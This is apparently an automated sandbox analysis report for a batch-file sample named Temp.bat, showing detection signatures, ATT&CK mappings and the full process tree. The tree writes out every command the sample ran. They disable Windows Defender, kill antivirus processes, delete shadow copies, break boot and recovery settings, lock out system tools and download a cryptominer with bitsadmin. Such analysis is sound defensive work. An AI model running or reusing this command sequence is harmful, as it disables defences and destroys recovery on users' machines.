9aff1b6cabf030af5eea993fe6f2417b2c0e969d824698f5ef89327571872a46

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 02:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Temp.bat
Size 12KB
Sample260812-cp7kfatvbx
SHA256 9aff1b6cabf030af5eea993fe6f2417b2c0e969d824698f5ef89327571872a46
MD5 5937548240738fe0a54bd14484d2b5c1
SHA1 4fc21159f66f25ef12e9934078a0eda51588d0a1
SHA512 0fdc1d12bc6e47f226fd6dfc688f79456e65ba9ed4a0b0b503f7b86901e202510ad071a4344ddcd0143019c11d3bd175797ad595cdc7d3fa33190a869f1fb1aa
SSDEEP 384:Ni1OcYTnPySr64PcA0EBffQ5dyT/TA8pcrmNNZ6w5w/4M2R0pJtdU7WxbL37r/B7:fzlM2mJt2EL3qCl3
TLSH
T16542872734499C1A8162A6E1DAFB5A11BB75D3478E513FC1B4EAE0847807354C3AEECF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery dropper evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1612	bcdedit.exe
3708	bcdedit.exe
2908	bcdedit.exe
2024	bcdedit.exe
1724	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
6000	bitsadmin.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	vds.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5060	sc.exe
3664	sc.exe
1228	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1812	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4104	PING.EXE
4332	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5672	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2564	vssadmin.exe

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
3648	taskkill.exe
2860	taskkill.exe
3208	taskkill.exe
4456	taskkill.exe
844	taskkill.exe
5928	taskkill.exe
4932	taskkill.exe
2112	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4104	PING.EXE
4332	PING.EXE

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4932	taskkill.exe
Token: SeDebugPrivilege	2112	taskkill.exe
Token: SeDebugPrivilege	3648	taskkill.exe
Token: SeDebugPrivilege	2860	taskkill.exe
Token: SeDebugPrivilege	3208	taskkill.exe
Token: SeDebugPrivilege	4456	taskkill.exe
Token: SeDebugPrivilege	844	taskkill.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeSystemEnvironmentPrivilege	308	svchost.exe
Token: SeBackupPrivilege	2404	vssvc.exe
Token: SeRestorePrivilege	2404	vssvc.exe
Token: SeAuditPrivilege	2404	vssvc.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 4320	1812	cmd.exe	90
PID 1812 wrote to memory of 3076	1812	cmd.exe	91
PID 3076 wrote to memory of 5092	3076	net.exe	92
PID 1812 wrote to memory of 4104	1812	cmd.exe	93
PID 1812 wrote to memory of 4332	1812	cmd.exe	94
PID 1812 wrote to memory of 5672	1812	cmd.exe	95
PID 1812 wrote to memory of 3248	1812	cmd.exe	96
PID 1812 wrote to memory of 4536	1812	cmd.exe	97
PID 1812 wrote to memory of 6136	1812	cmd.exe	98
PID 1812 wrote to memory of 4324	1812	cmd.exe	99
PID 1812 wrote to memory of 1228	1812	cmd.exe	100
PID 1812 wrote to memory of 5060	1812	cmd.exe	101
PID 1812 wrote to memory of 4932	1812	cmd.exe	102
PID 1812 wrote to memory of 2112	1812	cmd.exe	104
PID 1812 wrote to memory of 3648	1812	cmd.exe	105
PID 1812 wrote to memory of 2860	1812	cmd.exe	106
PID 1812 wrote to memory of 3208	1812	cmd.exe	107
PID 1812 wrote to memory of 4456	1812	cmd.exe	108
PID 1812 wrote to memory of 844	1812	cmd.exe	109
PID 1812 wrote to memory of 5928	1812	cmd.exe	110
PID 1812 wrote to memory of 1764	1812	cmd.exe	111
PID 1812 wrote to memory of 2564	1812	cmd.exe	113
PID 1812 wrote to memory of 5760	1812	cmd.exe	116
PID 1812 wrote to memory of 1612	1812	cmd.exe	117
PID 1812 wrote to memory of 3708	1812	cmd.exe	118
PID 1812 wrote to memory of 2908	1812	cmd.exe	119
PID 1812 wrote to memory of 2024	1812	cmd.exe	120
PID 1812 wrote to memory of 1724	1812	cmd.exe	121
PID 1812 wrote to memory of 3416	1812	cmd.exe	122
PID 1812 wrote to memory of 3476	1812	cmd.exe	123
PID 1812 wrote to memory of 4376	1812	cmd.exe	124
PID 1812 wrote to memory of 5912	1812	cmd.exe	125
PID 1812 wrote to memory of 3320	1812	cmd.exe	126
PID 1812 wrote to memory of 3404	1812	cmd.exe	127
PID 1812 wrote to memory of 4300	1812	cmd.exe	128
PID 1812 wrote to memory of 1020	1812	cmd.exe	129
PID 1812 wrote to memory of 3680	1812	cmd.exe	130
PID 1812 wrote to memory of 3664	1812	cmd.exe	131
PID 1812 wrote to memory of 1440	1812	cmd.exe	132
PID 1440 wrote to memory of 5748	1440	net.exe	133
PID 1812 wrote to memory of 3640	1812	cmd.exe	134
PID 1812 wrote to memory of 6000	1812	cmd.exe	138

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Temp.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\system32\mode.com
  mode con cols=80 lines=25
  2⤵
  PID:4320
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5092
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 2
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4104
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 2
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4332
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5672
- C:\Windows\system32\msg.exe
  msg * "Your system is fully optimized. All background services are running as intended. Do not attempt to modify system files."
  2⤵
  PID:3248
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4536
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:6136
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:4324
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1228
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\taskkill.exe
  taskkill /f /im MBAMService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\system32\taskkill.exe
  taskkill /f /im Norton.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\system32\taskkill.exe
  taskkill /f /im mcafee.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3648
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avast.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avg.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4456
- C:\Windows\system32\taskkill.exe
  taskkill /f /im bdagent.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:844
- C:\Windows\system32\taskkill.exe
  taskkill /f /im ekrn.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5928
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1764
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2564
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:5760
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1612
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3708
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2908
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2024
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v AllowFirmwareUI /t REG_DWORD /d 0 /f
  2⤵
  PID:3416
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartup /t REG_DWORD /d 1 /f
  2⤵
  PID:3476
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4376
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBHUB3" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5912
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3320
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:3404
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:4300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:3680
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3664
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:5748
- C:\Windows\system32\diskpart.exe
  diskpart /s C:\Users\Admin\AppData\Local\Temp\del.txt
  2⤵
  PID:3640
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer "update" https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-msvc-win64.zip C:\Users\Admin\AppData\Local\Temp\update.zip
  2⤵
  - Download via BitsAdmin
  PID:6000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:308

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2404

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3944

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
PID:1412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

del.txt

Path C:\Users\Admin\AppData\Local\Temp\del.txt
Size 334B
SHA256 087a3535adf3236bb1bffffb5e45330a6ba70b7222c8daf4df5e4928665e954c
MD5 6549f3e894f5dace0da231528ce32370
SHA1 3bed529a0164113616cb768d0f6cfc6db0962cce
SHA512 5f07c31e037a7df000b12bfea520f0bfed8f39090a98a6b2ef03adbbd4c7d0cae397c62d047ac640c069af3feecc034cdcd0142994aed715a5633a4bf2c1112c
TLSH
T130E07E61478274B6789B8313A9F438199A656090EF32630DEE83B0E00823A38968BF57
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads